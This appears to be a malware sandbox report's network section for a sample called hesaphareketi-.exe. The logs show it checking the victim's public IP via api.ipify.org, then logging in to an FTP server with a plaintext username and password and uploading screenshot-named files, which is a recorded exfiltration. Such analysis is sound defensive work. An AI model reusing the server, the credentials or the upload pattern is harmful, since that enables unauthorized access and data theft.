May 23, 2024 20:29:01.222510099 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222516060 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.222552061 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.222574949 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.231611967 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.231621981 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.231648922 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.231679916 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.238817930 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238828897 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238836050 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238845110 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238852978 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238853931 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.238862038 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238869905 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.238897085 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.238940954 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.245832920 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.252717972 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.252727032 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.252734900 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.252743959 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.301573038 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.301629066 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.364968061 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.702121973 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.867197037 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:04.308434963 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:04.326623917 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:04.818742037 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:04.819273949 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:04.829797029 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:04.829866886 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:04.829952002 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:04.892028093 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.467633963 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.467901945 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.473220110 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.473380089 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.480151892 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480163097 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480170965 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480180025 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480189085 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480197906 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480206013 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480215073 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.480272055 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.489564896 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.489574909 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.489624977 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.494360924 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.494370937 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.494379997 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.494388103 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.494395971 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.494404078 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.494416952 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.494438887 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.494477987 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.499164104 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.503923893 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.503935099 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.550035954 CEST	58712	49756	104.247.165.99	192.168.2.4
May 23, 2024 20:29:05.550154924 CEST	49756	58712	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.554502010 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:05.965930939 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:06.163846016 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:14.668451071 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:14.677800894 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:14.906666040 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:14.910501957 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:14.915430069 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:14.915560007 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:14.915680885 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:14.965992928 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.544559002 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.544807911 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.549992085 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.550045967 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.555022001 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555033922 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555043936 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555054903 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555063963 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555074930 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555084944 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555093050 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555095911 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.555104017 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.555141926 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.555166960 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.559859991 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.559909105 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.564688921 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.564699888 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.564707994 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.564717054 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.564721107 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.564743996 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.564769030 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.569499969 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.569574118 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.574305058 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.574317932 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.574327946 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.579479933 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.579492092 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.579504013 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.579513073 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.601366997 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:15.606285095 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.606301069 CEST	55953	49757	104.247.165.99	192.168.2.4
May 23, 2024 20:29:15.606357098 CEST	49757	55953	192.168.2.4	104.247.165.99
May 23, 2024 20:29:16.068845987 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:16.210828066 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:41.453752995 CEST	49758	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:41.469830990 CEST	21	49758	104.247.165.99	192.168.2.4
May 23, 2024 20:29:41.469898939 CEST	49758	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:41.470134974 CEST	49758	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:41.487736940 CEST	21	49758	104.247.165.99	192.168.2.4
May 23, 2024 20:29:41.487747908 CEST	21	49758	104.247.165.99	192.168.2.4
May 23, 2024 20:29:41.487802982 CEST	49758	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:56.043258905 CEST	49759	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:56.054173946 CEST	21	49759	104.247.165.99	192.168.2.4
May 23, 2024 20:29:56.054464102 CEST	49759	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:56.054635048 CEST	49759	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:56.106340885 CEST	21	49759	104.247.165.99	192.168.2.4
May 23, 2024 20:29:56.112765074 CEST	49759	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:59.073596954 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:59.078735113 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:29:59.078844070 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:59.728112936 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:29:59.728311062 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:59.733654976 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:29:59.975085020 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:29:59.975284100 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:59.980214119 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.230171919 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.230320930 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:00.235680103 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.459373951 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.459501028 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:00.464473009 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.683608055 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.683875084 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:00.695144892 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.930624008 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:00.930823088 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:00.935805082 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.158257008 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.158885002 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.163907051 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.164060116 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.164067030 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.216165066 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.790853024 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.791191101 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.796251059 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.796484947 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.801398993 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801417112 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801428080 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801439047 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801454067 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801465034 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801475048 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801486015 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801491976 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.801497936 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.801563025 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.806185007 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.806386948 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.810995102 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811016083 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811028957 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811038971 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811049938 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811059952 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.811063051 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811074018 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811084986 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811094999 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811105013 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.811131954 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.811172962 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.815944910 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820704937 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820719957 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820729017 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820740938 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820744991 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820755959 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820765972 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.820775986 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.867315054 CEST	61504	49761	104.247.165.99	192.168.2.4
May 23, 2024 20:30:01.867474079 CEST	49761	61504	192.168.2.4	104.247.165.99
May 23, 2024 20:30:01.932956934 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:02.278111935 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:02.335674047 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.058726072 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.065123081 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:09.284538984 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:09.287297010 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.294459105 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:09.294996023 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.298707962 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.299890995 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:09.401684046 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.414865971 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:09.415007114 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.415208101 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:09.742721081 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.383380890 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.546039104 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.546269894 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.556113005 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.556129932 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.556139946 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.556149006 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.556159019 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.556176901 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.556215048 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.556231022 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.556231022 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.556231022 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.577223063 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.577326059 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.581938982 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.581963062 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.581971884 CEST	21	49763	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.581979990 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.581989050 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.581996918 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582006931 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582015991 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582024097 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582032919 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582041025 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582048893 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.582154036 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.582154036 CEST	49763	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.582180023 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.592370987 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.592390060 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.592398882 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.592407942 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.592417002 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.592425108 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.592619896 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.600821972 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.600941896 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:10.607748985 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.612492085 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.612513065 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.612523079 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.612531900 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.663853884 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.663906097 CEST	61120	49762	104.247.165.99	192.168.2.4
May 23, 2024 20:30:10.665992022 CEST	49762	61120	192.168.2.4	104.247.165.99
May 23, 2024 20:30:11.081517935 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:11.242500067 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:17.682627916 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:17.687678099 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:17.913454056 CEST	21	49760	104.247.165.99	192.168.2.4
May 23, 2024 20:30:17.913958073 CEST	49764	56060	192.168.2.4	104.247.165.99
May 23, 2024 20:30:17.922492027 CEST	56060	49764	104.247.165.99	192.168.2.4
May 23, 2024 20:30:17.922573090 CEST	49764	56060	192.168.2.4	104.247.165.99
May 23, 2024 20:30:17.922663927 CEST	49760	21	192.168.2.4	104.247.165.99
May 23, 2024 20:30:17.980374098 CEST	21	49760	104.247.165.99	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 20:26:13.543620110 CEST	58940	53	192.168.2.4	1.1.1.1
May 23, 2024 20:26:13.585087061 CEST	53	58940	1.1.1.1	192.168.2.4
May 23, 2024 20:26:15.380846024 CEST	53778	53	192.168.2.4	1.1.1.1
May 23, 2024 20:26:15.760234118 CEST	53	53778	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 20:26:13.543620110 CEST	192.168.2.4	1.1.1.1	0x7ba	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 23, 2024 20:26:15.380846024 CEST	192.168.2.4	1.1.1.1	0xee9d	Standard query (0)	ftp.normagroup.com.tr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 23, 2024 20:26:13.585087061 CEST	1.1.1.1	192.168.2.4	0x7ba	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 23, 2024 20:26:13.585087061 CEST	1.1.1.1	192.168.2.4	0x7ba	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 23, 2024 20:26:13.585087061 CEST	1.1.1.1	192.168.2.4	0x7ba	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 23, 2024 20:26:15.760234118 CEST	1.1.1.1	192.168.2.4	0xee9d	No error (0)	ftp.normagroup.com.tr	104.247.165.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	104.26.12.205	443	3496	C:\Users\user\Desktop\hesaphareketi-.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 18:26:14 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-23 18:26:14 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 18:26:14 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888717d78b1e15cb-EWR
2024-05-23 18:26:14 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 23, 2024 20:28:46.731831074 CEST	21	49753	104.247.165.99	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
May 23, 2024 20:28:46.732157946 CEST	49753	21	192.168.2.4	104.247.165.99	USER admin@normagroup.com.tr
May 23, 2024 20:28:47.127262115 CEST	21	49753	104.247.165.99	192.168.2.4	331 User admin@normagroup.com.tr OK. Password required
May 23, 2024 20:28:47.127713919 CEST	49753	21	192.168.2.4	104.247.165.99	PASS Qb.X[.j.Yfm[
May 23, 2024 20:28:47.617975950 CEST	21	49753	104.247.165.99	192.168.2.4	230 OK. Current restricted directory is /
May 23, 2024 20:28:47.921236992 CEST	21	49753	104.247.165.99	192.168.2.4	504 Unknown command
May 23, 2024 20:28:47.921576977 CEST	49753	21	192.168.2.4	104.247.165.99	PWD
May 23, 2024 20:28:48.150744915 CEST	21	49753	104.247.165.99	192.168.2.4	257 "/" is your current location
May 23, 2024 20:28:48.151035070 CEST	49753	21	192.168.2.4	104.247.165.99	TYPE I
May 23, 2024 20:28:48.499938965 CEST	21	49753	104.247.165.99	192.168.2.4	200 TYPE is now 8-bit binary
May 23, 2024 20:28:48.500075102 CEST	49753	21	192.168.2.4	104.247.165.99	PASV
May 23, 2024 20:28:48.805833101 CEST	21	49753	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,244,128)
May 23, 2024 20:28:48.854190111 CEST	49753	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_07_28_11_34_19.jpeg
May 23, 2024 20:28:49.593909979 CEST	21	49753	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:28:50.311012983 CEST	21	49753	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.532 seconds (measured here), 104.27 Kbytes per second
May 23, 2024 20:28:50.381091118 CEST	21	49753	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.532 seconds (measured here), 104.27 Kbytes per second
May 23, 2024 20:29:00.326834917 CEST	49753	21	192.168.2.4	104.247.165.99	PASV
May 23, 2024 20:29:00.568528891 CEST	21	49753	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,253,66)
May 23, 2024 20:29:00.578975916 CEST	49753	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_08_09_10_55_29.jpeg
May 23, 2024 20:29:01.207123995 CEST	21	49753	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:29:01.702121973 CEST	21	49753	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.493 seconds (measured here), 112.42 Kbytes per second
May 23, 2024 20:29:04.308434963 CEST	49753	21	192.168.2.4	104.247.165.99	PASV
